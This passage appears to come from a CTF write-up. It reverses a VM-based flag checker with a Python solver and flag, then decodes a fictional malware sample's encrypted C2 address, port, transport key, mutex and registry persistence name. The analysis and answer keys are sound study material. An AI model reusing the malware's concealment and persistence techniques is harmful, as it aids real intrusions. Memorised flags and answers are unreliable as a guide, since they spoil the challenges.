cpu;<br>init_cpu(&amp;cpu);</pre><h4>How do we figure that out?</h4><p>A function is called with a pointer to a big stack variable:</p><pre>&amp;var_938</pre><p>Later the same variable is passed to:</p><pre>sub_1400012c0(&amp;var_938, 0x14e)</pre><p>That later function is the VM runner.</p><p>So var_938 is the VM CPU struct.</p><p>Rename:</p><pre>var_938 -&gt; cpu<br>sub_1400012b0 -&gt; init_cpu<br>sub_1400012c0 -&gt; vm_run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*AKTH25TsgBsxNVrnjoWTRg.png" /><figcaption>renamed</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*aMLS0_lQZbL3x7kP7CyeIg.png" /><figcaption>renamed</figcaption></figure><p>Renaming is so important and helpful so u keep track of the ugly code.</p><p>Reading strings and data chuncks u will realize that this VM is described as having registers, PC, flags, and RAM.</p><h4>13. The ugly copy block:</h4><pre>void var_924<br>int128_t* rcx_8 = &amp;var_924<br>int64_t i_1 = 2<br>int128_t* rax_8 = &amp;data_140018330</pre><h4>What does that mean?</h4><p>This means that this starts copying VM bytecode.</p><h4>How do we figure that out?</h4><p>Look at these two pointers:</p><pre>source      = data_140018330<br>destination = &amp;var_924</pre><p>data_140018330 is global data.</p><p>var_924 is inside the CPU struct.</p><p>Then the code repeatedly copies chunks:</p><pre>zmm0_1 = *rax_8<br>zmm1_1 = rax_8[1]<br>rcx_8[-8] = zmm0_1<br>rcx_8[-7] = zmm1_1<br>...</pre><p>This is just optimized memcpy.</p><p>The compiler copied 16-byte or 128-bit chunks instead of byte-by-byte.</p><p>So this whole ugly block is:</p><pre>memcpy(&amp;var_924, data_140018330, something);</pre><p>And because var_924 is very close to var_938, it is part of the CPU memory.</p><h4>14. How we know var_924 is cpu.mem[0x0000]:</h4><p>We have:</p><pre>var_938 = cpu start<br>var_924 = memory area inside cpu</pre><p>var_924 is the first big memory region used for bytecode.</p><p>The Vm structure says that the VM bytecode is copied to memory offset:</p><pre>0x0000</pre><p>So:</p><pre>var_924 = cpu.mem[0x0000]</pre><p>We can notice that the machine states that0x0000 gets the embedded VM bytecode.</p><h4>15. Finishing the bytecode copy:</h4><pre>zmm1_1 = rax_8[1]<br>*rcx_8 = *rax_8<br>rcx_8[1] = zmm1_1<br>...<br>*(rcx_8 + 0x3e) = zmm0_1</pre><h4>What does that mean?</h4><p>This is still the same copy.</p><h4>How do we figure that out?</h4><p>When a compiler copies a fixed-size global array, decompiler output becomes ugly like this.</p><p>You do <strong>not</strong> need to understand every zmm0 assignment.</p><p>Just notice:</p><pre>source pointer keeps reading from data_140018330<br>destination pointer keeps writing to var_924</pre><p>Therefore:</p><pre>copy VM_BYTECODE into cpu.mem</pre><h4>16. Copy &quot;secretvm&quot;:</h4><pre>__builtin_strncpy(dest: &amp;var_424, src: &quot;secretvm&quot;, count: 8)</pre><h4>What does that mean?</h4><pre>memcpy(&amp;var_424, &quot;secretvm&quot;, 8);</pre><h4>How we figure that out?</h4><p>The source is literally:</p><pre>&quot;secretvm&quot;</pre><p>Count is:</p><pre>8</pre><p>secretvm is 8 bytes:</p><pre>s e c r e t v m</pre><p>So it copies the key.</p><h4>17. How do we know var_424 is cpu.mem[0x500]?</h4><p>This is the important offset trick.</p><p>Look at variable names:</p><pre>var_924<br>var_724<br>var_524<br>var_424</pre><p>Now subtract:</p><pre>0x924 - 0x724 = 0x200<br>0x924 - 0x524 = 0x400<br>0x924 - 0x424 = 0x500</pre><p>Since var_924 is the start of VM memory:</p><pre>var_924 = cpu.mem[0x0000]</pre><p>Then:</p><pre>var_724 = cpu.mem[0x0200]<br>var_524 = cpu.mem[0x0400]<br>var_424 = cpu.mem[0x0500]</pre><p>So this line:</p><pre>strncpy(&amp;var_424, &quot;secretvm&quot;, 8)</pre><p>means:</p><pre>memcpy(cpu.mem + 0x500, &quot;secretvm&quot;, 8);</pre><p>So we can confirm the key is copied to 0x0500</p><h4>18. Copy input to VM memory:</h4><pre><br>int128_t var_108<br>int128_t var_714_1 = var_108<br>int128_t var_724_1 = zmm1_1<br>int128_t var_f8<br>int128_t var_704_1 = var_f8<br>int128_t var_e9<br>var_704_1:0xf.o = var_e9</pre><h4>What does that mean?</h4><p>This copies your input into VM memory at 0x200.</p><h4>How do we figure that out?</h4><p>The source variables are around:</p><pre>var_118<br>var_108<br>var_f8<br>var_e9</pre><p>These are chunks of the input buffer.</p><p>The destination variables are:</p><pre>var_724<br>var_714<br>var_704</pre><p>These are chunks starting at var_724.</p><p>And we already calculated:</p><pre>var_724 = cpu.mem[0x0200]</pre><p>So clean version:</p><pre>memcpy(cpu.mem + 0x200, input, 63);</pre><p>This confirms the 63-byte user input is copied to 0x0200.</p><h4>19. Copy expected ciphertext:</h4><p>Our CT(Cipher Text) is:</p><pre>__builtin_memcpy(dest: &amp;var_524, <br>    src: &quot;\x01\xe4\xac\x9a\xce\xaf...&quot;,<br>    count: 0x3f)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*blsa1yOpCICIgnKxoQdmHA.png" /><figcaption>CT</figcaption></figure><p>How do we know this is our CT?</p><p>Destination:</p><pre>&amp;var_524</pre><p>We calculated:</p><pre>var_524 = cpu.mem[0x0400]</pre><p>Count:</p><pre>0x3f = 63</pre><p>Source is a raw byte string:</p><pre>\x01\xe4\xac\x9a...</pre><p>So these are not normal text. They are encrypted target bytes.</p><h3>How do we confirm this is copied to 0x0400?</h3><p>First, look at the destination:</p><pre>dest: &amp;var_524</pre><p>Earlier, the VM bytecode was copied into:</p><pre>&amp;var_924</pre><p>So treat var_924 as the start of VM memory.</p><p>Now compare the stack variable names:</p><pre>var_924<br>var_724<br>var_524<br>var_424</pre><p>These names are stack offsets.</p><p>Calculate the difference:</p><pre>0x924 - 0x524 = 0x400</pre><p>So:</p><pre>&amp;var_524 = &amp;var_924 + 0x400</pre><p>That means this line:</p><pre>memcpy(&amp;var_524, encrypted_bytes, 0x3f)</pre><p>is actually:</p><pre>memcpy(cpu.mem + 0x400, encrypted_bytes, 63)</pre><p>That is how we confirm the hardcoded bytes go to VM memory offset 0x0400.</p><h3>20. Run the VM</h3><pre>if (sub_1400012c0(&amp;var_938, 0x14e) == 0)</pre><h3>What it means</h3><pre>if (vm_run(&amp;cpu, 0x14e) == 0)</pre><h3>How we figure it out</h3><p>First argument:</p><pre>&amp;var_938</pre><p>That is the CPU.</p><p>Second argument:</p><pre>0x14e</pre><p>This is the bytecode size / limit.</p><p>Convert:</p><pre>0x14e = 334</pre><p>The uploaded writeup confirms the program calls the VM runner with size 334.</p><p>So rename:</p><pre>sub_1400012c0 -&gt; vm_run</pre><h3>21. If VM returns okay</h3><pre>if (sub_1400012c0(&amp;var_938, 0x14e) == 0)</pre><h3>What it means</h3><p>If VM execution did not crash/fault, continue.</p><h3>How we figure it out</h3><p>Inside this if, it checks success/failure.</p><p>Outside this if, it prints:</p><pre>&quot;[-] VM Execution Fault.&quot;</pre><p>So return value 0 means VM ran normally.</p><p>Non-zero means VM error.</p><h3>22. Default success message</h3><pre>char const* const rcx_10 = &quot;[+] Correct! Welcome in.&quot;</pre><h3>What it means</h3><p>It first assumes success.</p><pre>message = &quot;[+] Correct! Welcome in.&quot;;</pre><h3>How we figure it out</h3><p>This variable is later passed to:</p><pre>puts(rcx_10)</pre><p>So it is the message to print.</p><h3>23. Result register</h3><pre>int16_t var_92a</pre><h3>What it means</h3><p>This is probably:</p><pre>cpu.r[7]</pre><h3>How we figure it out</h3><p>We know success depends on VM state.</p><p>The code checks:</p><pre>if (var_92a != 1)</pre><p>and var_92a is inside the same big CPU stack structure.</p><p>From the writeup, after the VM runs:</p><pre>if cpu.r[7] == 1, correct</pre><p>So:</p><pre>var_92a = cpu.r[7]</pre><h3>24. Final success/fail check</h3><pre>if (var_92a != 1)<br>    rcx_10 = &quot;[-] Access Denied.&quot;</pre><h3>What it means</h3><pre>if (cpu.r[7] != 1)<br>    message = &quot;[-] Access Denied.&quot;;</pre><h3>How we figure it out</h3><p>If VM says result register is not 1, deny.</p><p>So the VM itself decides if the flag is correct.</p><p>The main function does <strong>not</strong> directly compare the flag.</p><p>The VM compares it.</p><h3>25. Print final result</h3><pre>puts(rcx_10)</pre><h3>What it means</h3><p>Print either:</p><pre>[+] Correct! Welcome in.</pre><p>or:</p><pre>[-] Access Denied.</pre><h4>How we figure it out</h4><p>rcx_10 was set to one of those two strings.</p><h3>26. Return success</h3><pre>return 0</pre><p>Means program exits normally.</p><h3>27. VM fault case</h3><pre>rcx_2 = &quot;[-] VM Execution Fault.&quot;</pre><p>What it means</p><p>If vm_run() failed, print VM fault.</p><h3>How we figure it out</h3><p>This belongs to the else of:</p><pre>if (vm_run(...) == 0)</pre><p>So if VM does not return 0, it is a VM execution error.</p><h4>The full logic, but with comments:</h4><p>Your main becomes this:</p><pre>int main() {<br>    char input[256];<br><br>    // Print prompt<br>    printf(&quot;Enter the flag: &quot;);<br>    fflush(stdout);<br><br>    // Read user input<br>    if (fgets(input, 0x100, stdin) == NULL) {<br>        puts(&quot;[-] Input error.&quot;);<br>        return 1;<br>    }<br><br>    // Remove newline<br>    input[strcspn(input, &quot;\r\n&quot;)] = 0;<br><br>    // Check length<br>    if (strlen(input) != 63) {<br>        puts(&quot;[-] Access Denied.&quot;);<br>        return 1;<br>    }<br><br>    // Create VM CPU<br>    CPU cpu;<br>    init_cpu(&amp;cpu);<br><br>    // Load bytecode<br>    memcpy(cpu.mem + 0x0000, VM_BYTECODE, 334);<br><br>    // Copy flag input into VM memory<br>    memcpy(cpu.mem + 0x0200, input, 63);<br><br>    // Copy expected encrypted result<br>    memcpy(cpu.mem + 0x0400, EXPECTED_CIPHERTEXT, 63);<br><br>    // Copy keyi<br>    memcpy(cpu.mem + 0x0500, &quot;secretvm&quot;, 8);<br><br>    // Run VM<br>    if (vm_run(&amp;cpu, 334) != 0) {<br>        puts(&quot;[-] VM Execution Fault.&quot;);<br>        return 1;<br>    }<br><br>    // VM sets R7 to 1 if correct<br>    if (cpu.r[7] == 1)<br>       puts(&quot;[+] Correct! Welcome in.&quot;);<br>    else<br>        puts(&quot;[-] Access Denied.&quot;);<br><br>    return 0;<br>}</pre><h4>Writing the solver:</h4><p>The VM uses ROL8 and ROR8.</p><p>ROL8 means rotate left inside 8 bits.</p><p>Example:</p><pre>10010001 rol 3 = 10001100</pre><p>So write:</p><pre>def rol8(x, n):<br>    n &amp;= 7<br>    return ((x &lt;&lt; n) | (x &gt;&gt; (8 - n))) &amp; 0xff</pre><p>Why &amp; 0xff?</p><p>Because the VM works byte-by-byte. So we force the result to stay between:</p><pre>0x00 - 0xff</pre><p>Then write reverse rotation:</p><pre>def ror8(x, n):<br>    n &amp;= 7<br>    return ((x &gt;&gt; n) | (x &lt;&lt; (8 - n))) &amp; 0xff</pre><p>This is important because if the VM does:</p><pre>ROL8(x, 3)</pre><p>we undo it with:</p><pre>ROR8(x, 3)</pre><h4>Step 2: Copy the expected bytes</h4><p>In main, you saw:</p><pre>__builtin_memcpy(dest: &amp;var_524, <br>    src: &quot;\x01\xe4\xac\x9a...&quot;,<br>    count: 0x3f)</pre><p>That means there are 0x3f bytes.</p><pre>0x3f = 63</pre><p>So in Python:</p><pre>expected = [<br>    0x01, 0xe4, 0xac, 0x9a, 0xce, 0xaf, 0xcb, 0xb3,<br>    ...<br>]</pre><p>These are the bytes your transformed flag must equal.</p><h4>Step 3: Copy the key</h4><p>In main, you saw:</p><pre>strncpy(&amp;var_424, &quot;secretvm&quot;, 8)</pre><p>So in Python:</p><pre>key = b&quot;secretvm&quot;</pre><p>The b means bytes, not normal Python string.</p><h4>Step 4: Rebuild the S-box</h4><p>The VM builds an array from 0 to 255.</p><p>So:</p><pre>S = list(range(256))</pre><p>That gives:</p><pre>S[0] = 0<br>S[1] = 1<br>S[2] = 2<br>...<br>S[255] = 255</pre><p>Then the VM shuffles it using the key.</p><p>The logic is RC4-style:</p><pre>j = 0<br><br>for i in range(256):<br>    j = (j + S[i] + key[i % len(key)]) &amp; 0xff<br>    S[i], S[j] = S[j], S[i]</pre><p>Why i % len(key)?</p><p>Because the key is only 8 bytes:</p><pre>secretvm</pre><p>But the loop runs 256 times.</p><p>So it repeats the key like:</p><pre>secretvmsecretvmsecretvm...</pre><h4>Step 5: Build inverse S-box</h4><p>The VM uses:</p><pre>S[value]</pre><p>But we are reversing.</p><p>So we need to undo the lookup.</p><p>If:</p><pre>S[123] = 77</pre><p>then inverse should say:</p><pre>Sinv[77] = 123</pre><p>So write:</p><pre>Sinv = [0] * 256<br><br>for i in range(256):<br>    Sinv[S[i]] = i</pre><p>Now if the VM did:</p><pre>out = S[x]</pre><p>we can reverse it with:</p><pre>x = Sinv[out]</pre><h4>Step 6: Undo the second pass first</h4><p>The VM did two passes:</p><pre>Pass 1: encrypt input<br>Pass 2: diffusion</pre><p>To reverse, we go backward:</p><pre>Undo Pass 2 first<br>Undo Pass 1 second</pre><p>The second pass was:</p><pre>buf[i] ^= ROR8(buf[i - 1], 2)</pre><p>It ran backwards in the VM, from the end to the beginning.</p><p>To undo it, we go forward:</p><pre>buf = expected[:]<br><br>for i in range(1, len(buf)):<br>    buf[i] ^= ror8(buf[i - 1], 2)</pre><p>Why forward?</p><p>Because buf[i] depends on the previous original byte.</p><p>When we go forward, buf[i - 1] has already been restored.</p><p>So after this step, buf is no longer the final expected ciphertext.</p><p>Now buf contains the output of pass 1.</p><h4>Step 7: Undo the first pass</h4><p>The VM did this for each character:</p><pre>x = input[i] ^ prev<br>x = S[x]<br>x = ROL8(x, 3)<br>enc = (x + 0x33) &amp; 0xff<br>prev = enc</pre><p>So we reverse it in opposite order.</p><h4>Original:</h4><pre>enc = (ROL8(S[input[i] ^ prev], 3) + 0x33) &amp; 0xff</pre><h4>Reverse:</h4><p>First undo + 0x33:</p><pre>x = (enc - 0x33) &amp; 0xff</pre><p>Then undo ROL8(..., 3) using ROR8(..., 3):</p><pre>x = ror8(x, 3)</pre><p>Then undo S-box:</p><pre>x = Sinv[x]</pre><p>Now we have:</p><pre>x = input[i] ^ prev</pre><p>So undo XOR:</p><pre>c = x ^ prev</pre><p>Then save the recovered character:</p><pre>flag.append(c)</pre><p>Then update prev.</p><p>Important:</p><pre>prev = enc</pre><p>Not prev = c.</p><p>Because the VM used the previous encrypted byte, not previous plaintext character.</p><p>Full loop:</p><pre>flag = bytearray()<br>prev = 0x55<br><br>for enc in buf:<br>    x = (enc - 0x33) &amp; 0xff<br>    x = ror8(x, 3)<br>    x = Sinv[x]<br>    c = x ^ prev<br>    flag.append(c)<br>    prev = enc</pre><h4>Step 8: Print the flag</h4><pre>print(flag.decode())</pre><p>Why .decode()?</p><p>Because flag is bytes, and we want readable text.</p><h3>Final Solver:</h3><pre><br>#!/usr/bin/env python3<br><br>def ror8(x, n):<br>    n &amp;= 7<br>    return ((x &gt;&gt; n) | (x &lt;&lt; (8 - n))) &amp; 0xff<br><br><br>expected = [<br>    0x01, 0xe4, 0xac, 0x9a, 0xce, 0xaf, 0xcb, 0xb3, 0xd4, 0xe6, 0x67, 0xc0,<br>    0xa4, 0x83, 0x8b, 0x2a, 0x15, 0x32, 0xad, 0xc5, 0x2e, 0xe3, 0xce, 0xda,<br>    0x17, 0x68, 0xf8, 0xc6, 0x30, 0xb1, 0xc9, 0x0f, 0x2f, 0x06, 0x4c, 0x39,<br>    0xb7, 0x8c, 0x74, 0x2f, 0xe9, 0xb2, 0x7a, 0x2e, 0x14, 0xdb, 0x0b, 0xa7,<br>    0x1a, 0x99, 0x60, 0x03, 0x7c, 0xe3, 0x53, 0xda, 0x98, 0x97, 0x5c, 0x22,<br>    0x43, 0xe9, 0xe0<br>]<br><br>key = b&quot;secretvm&quot;<br><br># Build S-box<br>S = list(range(256))<br>j = 0<br><br>for i in range(256):<br>    j = (j + S[i] + key[i % len(key)]) &amp; 0xff<br>    S[i], S[j] = S[j], S[i]<br><br># Build inverse S-box<br>Sinv = [0] * 256<br><br>for i in range(256):<br>    Sinv[S[i]] = i<br><br># Undo backward diffusion<br>buf = expected[:]<br><br>for i in range(1, len(buf)):<br>    buf[i] ^= ror8(buf[i - 1], 2)<br><br># Undo S-box encryption<br>flag = bytearray()<br>prev = 0x55<br><br>for enc in buf:<br>    x = (enc - 0x33) &amp; 0xff<br>    x = ror8(x, 3)<br>    x = Sinv[x]<br><br>    c = x ^ prev<br>    flag.append(c)<br><br>    prev = enc<br><br>print(flag.decode())</pre><h3><strong>Flag:</strong></h3><pre><br>Thryve{S0rry_th3r3_h4s_t0_b3_4t_l34st_1_h4rd_ch4ll_4m_I_r1ght?}</pre><h3>4.Malware Analysis — HiveNet:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*XljeqqZT7uTAcB-1-YVjiQ.png" /><figcaption>stage0</figcaption></figure><p>If you played in Thryve Qualifications there was an osint about YoToxicGrass a guy trying to expose ThryveTech Company now hes back for part 2 and he made a malware this time!!</p><h3>Stage 1:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*GQ9wpasFzM6Es3xSYQK_lg.png" /><figcaption>desc</figcaption></figure><p>the files included in the analysis are</p><pre>Hive.exe<br>Hive.dll</pre><p>open the dll in dnsypy:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KsNf9qHvr6xlmgIZk9VRew.png" /><figcaption>sections</figcaption></figure><p>we are going to open first the config to understand the program but first we go to the first section called drone:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jPVJZdazMOWCxphRt7PM_Q.png" /><figcaption>program</figcaption></figure><p>inside it u will find this secret Dialogue:</p><pre>Hello analyst, before u analyze this ask yourself, <br>why are u doing this, <br>dont u understand im doing this for a good cause, <br>we are trying to expose ThryveTech and its corruption dont stand against me <br>stand with me!, think twice Lets expose their secrets together, <br>i set up this malware to launch on their devices in secret <br>and leak all their info, you can try to stop me, i doubt u will.</pre><p>Now back to the config:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s8zuFhS1Vk96K_HJ4AozTA.png" /><figcaption>config</figcaption></figure><p>inside config u will find these 3 variables:</p><pre>// Token: 0x0400001A RID: 26<br>  private static readonly string _c2Cipher = &quot;RHvSKPknP3+5Srjj6dMXrQ==&quot;;<br><br>  // Token: 0x0400001B RID: 27<br>  private static readonly string _portCipher = &quot;opRu34dpgf47vbKffudZMg==&quot;;<br><br>  // Token: 0x0400001C RID: 28<br>  private static readonly string _campaignCipher = &quot;2rY5j2cocYXN6m4ofFsRrg==&quot;;</pre><p>those appear to be encrypted and to understand the encryption we have to check out HiveNet.Drone.Crypto</p><p>inside HiveNet.Drone.Crypto We can CryptoEngine and a few lines down we see this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0UEtTM2uwYe5dw094j8GTg.png" /><figcaption>engine</figcaption></figure><pre>internal static byte[] EncryptPayload(byte[] plaintext)<br>  {<br>   byte[] keyBytes = CryptoEngine.PadKey(Encoding.ASCII.GetBytes(CryptoEngine.ResolveTransportKey()), 32);<br>   byte[] iv = new byte[16];<br>   using (RandomNumberGenerator rng = RandomNumberGenerator.Create())<br>   {<br>    rng.GetBytes(iv);<br>   }<br>   byte[] result;<br>   using (Aes aes = Aes.Create())<br>   {<br>    aes.Key = keyBytes;<br>    aes.IV = iv;<br>    aes.Mode = CipherMode.CBC;<br>    aes.Padding = PaddingMode.PKCS7;<br>    using (ICryptoTransform enc = aes.CreateEncryptor())<br>    {<br>     byte[] ct = enc.TransformFinalBlock(plaintext, 0, plaintext.Length);<br>     byte[] r = new byte[iv.Length + ct.Length];<br>     Buffer.BlockCopy(iv, 0, r, 0, iv.Length);<br>     Buffer.BlockCopy(ct, 0, r, iv.Length, ct.Length);<br>     result = r;<br>    }<br>   }<br>   return result;</pre><p>So the encryption is AES CBC And first layer is base64 as well as a PKCS7 padding mode.</p><p>now inside HiveNet.Drone.Crypto there is StringProtecter which inside it u can find the IV and IV mask as well as Key and Key Mask:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jir2kgEByXsz_SMwZJsdOw.png" /><figcaption>key and iv</figcaption></figure><pre>private static readonly byte[] _maskedKey = new byte[]<br>  {<br>   59,<br>   62,<br>   49,<br>   50,<br>   87,<br>   62,<br>   58,<br>   62,<br>   35,<br>   54,<br>   35,<br>   50,<br>   36,<br>   87,<br>   59,<br>   62,<br>   49,<br>   50,<br>   87,<br>   59,<br>   62,<br>   49,<br>   50,<br>   87,<br>   62,<br>   58,<br>   62,<br>   35,<br>   54,<br>   35,<br>   50,<br>   36<br>  };<br><br>  // Token: 0x04000016 RID: 22<br>  private static readonly byte _keyMask = 119;<br><br>  // Token: 0x04000017 RID: 23<br>  private static readonly byte[] _maskedIV = new byte[]<br>  {<br>   103,<br>   123,<br>   97,<br>   106,<br>   101,<br>   118,<br>   103,<br>   118,<br>   112,<br>   123,<br>   108,<br>   122,<br>   101,<br>   108,<br>   3,<br>   2<br>  };<br><br>  // Token: 0x04000018 RID: 24<br>  private static readonly byte _ivMask = 51;<br></pre><p>for the key:</p><pre>_maskedKey[i] ^ _keyMask</pre><p>For the IV:</p><pre>_maskedIV[i] ^ _ivMask</pre><p>Why? Because XOR reverses itself:</p><pre>real_byte ^ mask = masked_byte<br>masked_byte ^ mask = real_byte</pre><p>So if the code has:</p><pre>_keyMask = 119</pre><p>then every byte in _maskedKey must be XORed with 119.</p><p>Example first key byte:</p><pre>59 ^ 119 = 76<br>76 = &#39;L&#39;</pre><p>So the key starts with:</p><pre>L</pre><p>and heres a small xor script:</p><pre>masked_key = [<br>    59, 62, 49, 50, 87, 62, 58, 62,<br>    35, 54, 35, 50, 36, 87, 59, 62,<br>    49, 50, 87, 59, 62, 49, 50, 87,<br>    62, 58, 62, 35, 54, 35, 50, 36<br>]<br><br>key_mask = 119<br><br>masked_iv = [<br>    103, 123, 97, 106, 101, 118, 103, 118,<br>    112, 123, 108, 122, 101, 108, 3, 2<br>]<br><br>iv_mask = 51<br><br>key = bytes(b ^ key_mask for b in masked_key)<br>iv = bytes(b ^ iv_mask for b in masked_iv)<br><br>print(&quot;Key:&quot;, key.decode())<br>print(&quot;IV :&quot;, iv.decode())<br>print(&quot;Key hex:&quot;, key.hex())<br>print(&quot;IV hex :&quot;, iv.hex())</pre><p>output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nNmr7j0mkLjH8LUJqz54FA.png" /><figcaption>output</figcaption></figure><pre>Key: LIFE IMITATES LIFE LIFE IMITATES<br>IV : THRYVETECH_IV_01<br>Key hex: 4c49464520494d495441544553204c494645204c49464520494d495441544553<br>IV hex : 544852595645544543485f49565f3031</pre><p>we dont need the hex we will use the utf8 now go to cyberchef:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ul8g9QyurcYDng44vGBI7Q.png" /><figcaption>recipe</figcaption></figure><p>now take our 3 variables earlier and 1 by 1 decode them lets start with c2cipher aka stage 1:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vir41D1hEqRvcs2HJz4M5w.png" /><figcaption>stage 1</figcaption></figure><h3>and thats stage 1 answer:</h3><pre>192.168.45.129</pre><h3>stage 2:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*zA-BttdzFHZmG0SZImzdjw.png" /><figcaption>stage 2</figcaption></figure><p>which is the private static readonly string _portCipher = “opRu34dpgf47vbKffudZMg==”;</p><p>so:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IuVJErX5uNgn8EJNOkHbaw.png" /><figcaption>answer</figcaption></figure><pre>9443</pre><h3>stage3:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*znVtAoboN_zKbQi3tiupyA.png" /><figcaption>stage 3</figcaption></figure><p>stage 3 is the last var, private static readonly string _campaignCipher = “2rY5j2cocYXN6m4ofFsRrg==”;</p><p>so:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4JocAdZHEF6YFsrTE3kMXg.png" /><figcaption>stage3</figcaption></figure><pre>HIVEXTHRYVE</pre><h3>Stage4:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*LsApG8hWes1_ddP28oP1ug.png" /><figcaption>stage4</figcaption></figure><p>Now its asking the transport key u can find that inside the CryptoEngine in this block of code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*TzLKCbioskuC7RorJ0WdXw.png" /><figcaption>code</figcaption></figure><p>its simply done by Xoring _tkPartA with _tkPartB and double click them u will find:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QbsS9osE9in2u40XQ7A_tQ.png" /><figcaption>data</figcaption></figure><pre>private static readonly byte[] _tkPartA = new byte[]<br>  {<br>   163,<br>   21,<br>   126,<br>   41,<br>   212,<br>   136,<br>   27,<br>   243,<br>   71,<br>   194,<br>   154,<br>   1,<br>   230,<br>   115,<br>   85,<br>   137,<br>   180<br>  };<br><br>  // Token: 0x04000014 RID: 20<br>  private static readonly byte[] _tkPartB = new byte[]<br>  {<br>   240,<br>   98,<br>   74,<br>   91,<br>   185,<br>   191,<br>   115,<br>   129,<br>   62,<br>   180,<br>   169,<br>   94,<br>   212,<br>   67,<br>   103,<br>   191,<br>   149<br>  };<br> }<br>}</pre><p>small script to xor them:</p><pre>a=[163,21,126,41,212,136,27,243,71,194,154,1,230,115,85,137,180]<br>b=[240,98,74,91,185,191,115,129,62,180,169,94,212,67,103,191,149]<br><br>x=bytes(i^j for i,j in zip(a,b))<br>print(x.decode())</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qT3dESHAUnWhrpRTTiOyPQ.png" /><figcaption>output</figcaption></figure><h4>stage4 answer:</h4><pre>Sw4rm7hryv3_2026!</pre><h3>Stage5:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*lzohAVEZSrQcCJ046-WG_A.png" /><figcaption>desc</figcaption></figure><p>Its asking for the mutex name which can be found inside the HiveNet.Drone.Stealth insideit u will find a mutex blob:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5bOr_RraHvHypWPoSa78TA.png" /><figcaption>mutex blob</figcaption></figure><p>its a set of data that decodes using this logic</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*-QL41OzoX5xOrSpIYbzCIA.png" /><figcaption>logic</figcaption></figure><p>ResolveMutexName() function calls DecryptStealth double click the DecryptStealth function:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d8dn18QJpGV2moUGvZETvg.png" /><figcaption>logic</figcaption></figure><p>it calls for _stlseed double click _stlseed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*sU8MpBvxH_FIe58sDogDqQ.png" /><figcaption>key</figcaption></figure><p>this will be our xor key convert it to ascii:</p><p>go to this website:</p><p><a href="https://www.ascii-code.com/">ref sheet</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6IUNNlhBzmsslBgEzqD-6Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ari6f5sJNgeIn_szJhpPow.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cMuyQWtEF39e1w1cTcAweg.png" /></figure><p>making the key:</p><pre>HBABE</pre><p>now use that key to decrypt the mutex blob heres a small script:</p><pre>blob=[15,46,46,32,36,36,30,4,44,33,23,17,36,33,55,45,54,30,22,45,58,59,55,39,17,45,33,41,29,13,33,52,36,12,32,60,29,5,48,42,38,39]<br>key=b&quot;HBABE&quot;<br>decoded=bytes(x ^ key[i % len(key)] for i,x in enumerate(blob))<br>print(decoded.decode())</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aAhk_AYJ7OL4Ig5aRRyERg.png" /><figcaption>solver</figcaption></figure><p>so answer is:</p><pre>Global\End_Secret_ThryveTech_HiveNet_Drone</pre><h3>Stage6:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*PiQ1IAvKhZiKdD6TDveF3Q.png" /><figcaption>Desc</figcaption></figure><p>still inside stealth right under mutex logic we can find the logic for Persistence:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mLFDhwnOEvhBntb61NQi8w.png" /><figcaption>Logic</figcaption></figure><pre>// Token: 0x06000005 RID: 5 RVA: 0x00002104 File Offset: 0x00000304<br>  internal static string ResolveRegValueName()<br>  {<br>   return StringProtector.DecryptStealth(Persistence._regBlob);</pre><p>double click DecryptStealth:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KrQFjX0yInEnpLBCNcSohA.png" /><figcaption>logic</figcaption></figure><p>same logic as mutex logic using _stlseed which we calculated to be HBABE</p><p>so same process just change the data:</p><p>but with reg blob:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*Nbxox933t4cB24EIwEbPsQ.png" /><figcaption>reg blob</figcaption></figure><pre>blob=[0,43,55,39,22,62,33,9,45,54,60]<br>key=b&quot;HBABE&quot;<br>decoded=bytes(x ^ key[i % len(key)] for i,x in enumerate(blob))<br>print(decoded.decode())</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uzbjux3SgyLwJqg1gKVajw.png" /><figcaption>stage6</figcaption></figure><h4>stage6 answer:</h4><pre>HiveSvcHost</pre><h3>Stage7:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*4jGeLeEL7zyRWe_uFlJ_YA.png" /><figcaption>desc</figcaption></figure><p>Lastly we have 1 last enc string called secondary payload url which is found in Network then 